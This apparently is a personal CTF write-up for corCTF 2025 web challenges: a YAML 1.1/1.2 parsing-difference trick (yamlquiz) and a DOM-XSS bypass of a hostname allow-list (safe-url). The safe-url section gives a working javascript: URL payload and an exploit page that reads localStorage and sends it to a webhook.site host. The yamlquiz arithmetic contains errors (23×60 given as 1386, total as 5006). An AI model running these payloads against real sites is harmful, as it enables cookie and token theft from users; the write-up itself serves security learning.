> For the complete documentation index, see [llms.txt](https://thienguen.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thienguen.gitbook.io/ctf-writeups/ctf/2025/corctf/web.md).

# web

## web/yamlquiz

<figure><img src="/files/BkiVnbNMz2EOZnJc0sCr" alt=""><figcaption></figcaption></figure>

> How well do you know \~\~JSON\~\~ YAML? Take this quiz and find out!
>
> [yamlquiz.ctfi.ng](https://yamlquiz.ctfi.ng/)
>
> Downloads
>
> [yamlquiz.js](https://static.cor.team/corctf-2025/2833319f1ff2e6b82b2647b2eb4460df7f55c6d7552922eee0353547b71837f1/yamlquiz.js)

### tldr;

The provided file code and the url.

<figure><img src="/files/JjoKowVmeNTPjbWnk4U1" alt=""><figcaption></figcaption></figure>

<pre class="language-javascript" data-overflow="wrap"><code class="lang-javascript">const express = require('express');
const YAML = require('yaml');

const PORT = process.env.PORT || 4455;
const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';

const app = express();

app.use(express.urlencoded({extended: false}));
app.use(express.static('static'));

app.post('/submit', (req, res) => {
  let result = req.body.result;
  let score = 0;
  if (result) {
<strong>    const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
</strong><strong>    const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});
</strong>    const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
    const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
<strong>    if (score_1 !== score_2) {
</strong><strong>        score = score_1;
</strong>    }
  } else {
    score = 0;
  }

<strong>  if (score === 5000) {
</strong><strong>    res.json({pass: true, flag: FLAG});
</strong><strong>  } else {
</strong><strong>    res.json({pass: false});
</strong><strong>  }
</strong>});

app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));
</code></pre>

The vulnerability is this line of code...

```javascript
const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
```

...the goal is simply to get the score to be 5000, so exploit the line above, and make the code below happen, easy right?.

```javascript
if (score === 5000)
  res.json({pass: true, flag: FLAG});
```

The code highlighted as the backend parses the input <mark style="color:$danger;">**twice 🥀**</mark>—once as **YAML 1.1** and once as **YAML 1.2**—then does this:

* If the two parses **differ**, it picks the **1.1** value as the score.
* If that score equals **5000**, spit the flag.

YAML 1.1 has this weird feature: **sexagesimal numbers**. The string `1:23:20` is read as base-60: (article: [the yaml document from hell](https://ruudvanasseldonk.com/2023/01/11/the-yaml-document-from-hell)) but essentially

* 1 x 60<sup>2</sup> = 3600
* 23 x 60 = 1386
* +20
* 3600 + 1386 + 20 = 5006 (or you can do a very large number, I'm just being pedantic)

{% code overflow="wrap" %}

```javascript
// This uses YAML 1.1’s sexagesimal number (1:23:20 = 5000) which differs in YAML 1.2, making the backend pick 5000 and return the flag.
const payload = 'result:\n  - score: 1:23:20'; // YAML 1.1 sexagesimal → 5000
fetch('/submit', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'result=' + encodeURIComponent(payload)
}).then(r => r.json()).then(console.log);
```

{% endcode %}

So by sending the payload to hijack the score, we got the flag because the program always take score 1. There isn't really much to say here.

<figure><img src="/files/oXfH7if3iftTU75wVt2M" alt=""><figcaption></figcaption></figure>

* <mark style="color:$success;">**corctf{ihateyamlihateyamlihateyaml!!!}**</mark>
* Learned:
  * The yaml version 1.1 have a funny problem.

## web/safe-url

<figure><img src="/files/Q5PDB12YezgNOXNtqpnj" alt=""><figcaption></figcaption></figure>

> Using our patented safe-url™ technology, XSS is now impossible!
>
> [safe-url.ctfi.ng](https://safe-url.ctfi.ng/)
>
> [Admin Bot](https://adminbot.ctfi.ng/web-safe-url)\
> Downloads
>
> [safe-url.tar.gz](https://static.cor.team/corctf-2025/655f7241021ff5abdee0f4962da27e9e3ff55a956c8cb287d73c6748b9b0efeb/safe-url.tar.gz)

```bash
tar -tvf safe-url.tar
drwxr-xr-x 1000/1000         0 1969-12-31 16:00 safe-url/
-rw-r--r-- 1000/1000      2137 1969-12-31 16:00 safe-url/index.html
-rw-r--r-- 1000/1000        55 1969-12-31 16:00 safe-url/Dockerfile
-rw-r--r-- 1000/1000      1317 1969-12-31 16:00 safe-url/adminbot_test.js
```

{% tabs %}
{% tab title="tar" %}
{% code overflow="wrap" %}

```bash
tar -tvf safe-url.tar
drwxr-xr-x 1000/1000         0 1969-12-31 16:00 safe-url/
-rw-r--r-- 1000/1000      2137 1969-12-31 16:00 safe-url/index.html
-rw-r--r-- 1000/1000        55 1969-12-31 16:00 safe-url/Dockerfile
-rw-r--r-- 1000/1000      1317 1969-12-31 16:00 safe-url/adminbot_test.js
```

{% endcode %}
{% endtab %}

{% tab title="adminbot\_test.js" %}
{% code overflow="wrap" %}

```javascript
// npm i puppeteer
// script to emulate admin bot
const puppeteer = require("puppeteer");

const FLAG = "corctf{test_flag}";
const SITE = "https://safe-url.ctfi.ng";

function sleep(time) {
    return new Promise(resolve => {
        setTimeout(resolve, time)
    })
}

const visit = async (url) => {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--jitless",
            ],
            dumpio: true
        });

        // incognito btw
        const ctx = await browser.createBrowserContext();

        let page = await ctx.newPage();
        await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });

        await page.evaluate((flag) => {
            localStorage.setItem("flag", flag);
        }, FLAG);

        await sleep(1000);
        await page.close();

        page = await ctx.newPage();
        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};

visit("EXPLOIT_URL");
```

{% endcode %}
{% endtab %}

{% tab title="index.html" %}

* This is irrelevant

```html
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      font-family: sans-serif; padding-left: 30px; padding-top: 15px;
    }
  </style>
</head>
<body>
  <h2>safe-url</h2>

  <h4>here are some URLs you should check out!</h4>
  <ul>
    <li><a href="https://cor.team">cor.team</a></li>
    <li><a href="https://ctf.cor.team">ctf.cor.team</a></li>
    <li><a href="https://example.com">example.com</a></li>
  </ul>

  <h4>and here are some bad URLs that shouldn't work:</h4>
  <ul>
    <li><a href="https://malicious.com">malicious.com</a></li>
    <li><a href="https://dicega.ng">dicega.ng</a></li>
    <li><a href="https://cor.team/malicious_page">cor.team/malicious_page</a></li>
  </ul>

  <h4>try a custom URL!</h4>
  <form method="GET">
    <input type="text" name="redirect" placeholder="https://..." style="width: 300px;">
    <input type="submit" value="Go">
  </form>

  <script>
    const safeHostnames = [
      "cor.team",
      "example.com",
      location.hostname
    ];

    const isSafeHostname = (hostname) => {
      return safeHostnames.some(safeHostname => hostname === safeHostname || hostname.endsWith(`.${safeHostname}`));
    };

    function safeRedirect(url) {
      try {
        const redirectUrl = new URL(url, window.location.origin);

        if (!isSafeHostname(redirectUrl.hostname)) {
          alert("hostname is not safe!");
          return;
        }

        if (redirectUrl.pathname.length >= 10) {
          alert("pathname is too long!");
          return;
        }

        const safeUrl = `${redirectUrl.protocol}//${redirectUrl.host}${redirectUrl.pathname}`;
        console.log("redirecting to", safeUrl, "...");
        window.location = safeUrl;
      } catch (error) {
        console.log("error: ", error);
      }
    }

    const params = new URLSearchParams(window.location.search);
    if (params.has('redirect')) {
      safeRedirect(params.get('redirect'));
    }

    document.querySelectorAll('a').forEach(link => {
      link.addEventListener('click', (event) => {
        event.preventDefault();
        safeRedirect(link.href);
      });
    });
  </script>
</body>
</html>
```

{% endtab %}
{% endtabs %}

### tldr;

{% hint style="success" %}
The page “sanitizes” a `?redirect=` URL by checking that **the hostname ends with a trusted suffix**, and then blindly navigates with `window.location` to `${protocol}//${host}${pathname}`. Because it **doesn’t restrict the URL scheme**, we can use a **`javascript:` URL** that still passes the (buggy) hostname check; the redirector then loads our `javascript:` URI and the code runs **in the redirector’s origin** (DOM-XSS). The pathname is capped to `< 10` chars, so we stash our long exfil code in `window.name` and execute it via `eval(name)`. That lets us read `localStorage.getItem('flag')` and exfiltrate it
{% endhint %}

### long version

The admin’s browser stores the flag in **`localStorage`** under the key `flag`.

```javascript
await page.evaluate((flag) => {
    localStorage.setItem("flag", flag);
}, FLAG);
```

So the goal is to get execution right in the same origin as the admin bot, and retrieve it right here and there.

* <https://adminbot.ctfi.ng/web-safe-url> $$\rightarrow$$ this thing right here

<figure><img src="/files/pUTBkSMDWJqV9LdYRizi" alt=""><figcaption></figcaption></figure>

### the vulnerability

Now where is the part of the code that messed things up?

```javascript
const safeHostnames = ["cor.team", "example.com", location.hostname];

const isSafeHostname = (hostname) => {
  return safeHostnames.some(safeHostname =>
    hostname === safeHostname || hostname.endsWith(`.${safeHostname}`)); // <— (A)
};

function safeRedirect(url) {
  const redirectUrl = new URL(url, window.location.origin);
  if (!isSafeHostname(redirectUrl.hostname)) { /* ... */ }                // <— (B)
  if (redirectUrl.pathname.length >= 10) { /* ... */ }                    // <— (C)
  const safeUrl = `${redirectUrl.protocol}//${redirectUrl.host}${redirectUrl.pathname}`;
  window.location = safeUrl;                                              // <— (D)
}
```

The problem here is:

* (A) **Suffix-based allow-list** on `hostname` is not origin validation. (Open-redirect allow-list bypass primitive.)
* (B)+(D) There’s **no scheme allow-list**. `javascript:` (and other dangerous schemes) are accepted and then **executed** when assigned to `window.location`. (This leads to DOM-XSS via JavaScript URL injection)
* (C) A path-length filter is used as a “content” control; it is ....lmao — when the payload can live in other URL parts or be staged via `window.name`.

### exploit plan

How we exploit it?

{% stepper %}
{% step %}
**Stage payload in `window.name`:** We keep the heavy logic out of the URL:

```js
window.name = `
  window.location = 'https://webhook.site/REPLACE?q=' +
    encodeURIComponent(localStorage.getItem('flag'));
`;
```

{% endstep %}

{% step %}
**Craft a “passing” redirect:**

Use a **`javascript:`** URL that still satisfies the hostname check. One working form is to include a **fake hostname** (ending with `.example.com`) so the validator passes, then break out to real code with a newline:

```javascript
javascript://a.example.com/%0aeval(name)
```

* The **hostname** part satisfies `hostname.endsWith('.example.com')`.
* When loaded, `javascript:` treats everything after the scheme as JS. The `//a.example.com` portion is just a **comment**, and `%0a` (newline) ends that comment so `eval(name)` executes.
* Also, it is short enough to not get flag by the len restriction.
  {% endstep %}

{% step %}
**Send the victim through the redirector:**

{% code overflow="wrap" %}

```
https://safe-url.ctfi.ng/?redirect=javascript://a.example.com/%0aeval(name)
```

{% endcode %}
{% endstep %}

{% step %}
**Redirector accepts & navigates → code runs in-origin.**

`eval(name)` executes the staged code, which reads `localStorage.flag` and **exfiltrates** it to the webhook.
{% endstep %}
{% endstepper %}

Now here’s the interesting part: we know the payload works, but we need to serve it to the admin bot in a way that it can actually visit. Since the bot must hit our page first, we need to expose our local <mark style="color:$danger;">`index.html`</mark> to the internet. The most classic way to do that is with a quick Python HTTP server, now first create a solution folder and If you put the following code in <mark style="color:$danger;">`index.html`</mark>:

```html
<!doctype html>
<meta charset="utf-8">
<script>
  // stage exfil in window.name (webhook)
  window.name = `
    window.location = 'https://webhook.site/<WEB_HOOK>?q=' +
                      encodeURIComponent(localStorage.getItem('flag'))
  `;

  // code lives in the host, path is empty (so no length issue)
  const payload = "javascript://%0aeval(name).example.com"

  const base = 'https://safe-url.ctfi.ng/?redirect='
  window.location = base + encodeURIComponent(payload)
</script>
```

And then <mark style="color:$warning;">`python3 -m http.server 8080`</mark> of the exact folder.&#x20;

A lot of people’s first instinct is to use <mark style="color:blue;">**`ngrok`**</mark> to tunnel the local server to the internet. It’s quick, it works with one command, and it even gives you a nice HTTPS URL. However, this is where you hit a wall. On the free plan, ngrok slaps a **confirmation screen** on first visit:

<figure><img src="/files/C1NZEeoH3LMq9lhIUbkk" alt=""><figcaption></figcaption></figure>

The admin bot is never going to click “Visit Site.” It’s a headless browser that just follows URLs. That means your exploit page never loads, your payload never fires, and your webhook never gets the flag. I was bamboozled, deceived and felt betrayed after I learned this fac&#x74;**.**

We now pivot to an alternative, the easiest free next option is...<mark style="color:$warning;">`localtunnel`</mark>? WRONG. Because it doesnt work anymore...I went down the rabbit hole of the author has moved on and the project is no longer being maintain or somethin&#x20;

{% embed url="<https://github.com/localtunnel/localtunnel/issues/343#issuecomment-588489442>" %}

Ultimately, what do we have left? Oh well, some more digging and digging, the alternatives to ngrok probably will fix the problem, as long as they don't hit you with a swipe lock screen 🥀(zrok, pig something something). But funny enough the option I have choose is this:

{% embed url="<https://localhost.run/>" %}

Execute this in a different terminal, along side with python serve

```bash
ssh -o ServerAliveInterval=60 -R 80:localhost:8080 nokey@localhost.run
```

<figure><img src="/files/c77Dv3CEKN5IpmNaiQUi" alt=""><figcaption></figcaption></figure>

And use that url to enter in the admin bot website&#x20;

<figure><img src="/files/GnMT9hlrdsILU9SRcD8s" alt=""><figcaption></figcaption></figure>

Congratulations....all that pain to get your flag (this challenge SHOULD HAVE NOT TAKE ME THAT LONG, 15 minutes MAX if I knew ngrok was the issue 🥀)&#x20;

<figure><img src="/files/1PaOG93uUpMUmefVoVe1" alt=""><figcaption></figcaption></figure>

* <mark style="color:$success;">**`corctf{but_i_already_p4tented_it_:(((}`**</mark>
* What I have learned today: yea no more ngrok in the future, that lock screen is funny af.

## web/vouched

<figure><img src="/files/fBeOi7f29HkzqhkNpiNW" alt=""><figcaption></figcaption></figure>

> The CoR funds have completely dried up and chances are that next year's CTF will be a paid event. To not scare off the CTF players, we have provided some of you with a voucher. Enter them here to grab your free ticket for corCTF 2026!
>
> [Instancer](https://instancer.ctfi.ng/challenge/vouched)<br>
>
> Downloads
>
> [vouched.tar.gz](https://static.cor.team/corctf-2025/f51a393b012e8c44010b5ff9ccfe1dcd31aca7c7fb14ff4350494af71b18f40b/vouched.tar.gz)

...writing...writing...eepy sleepy
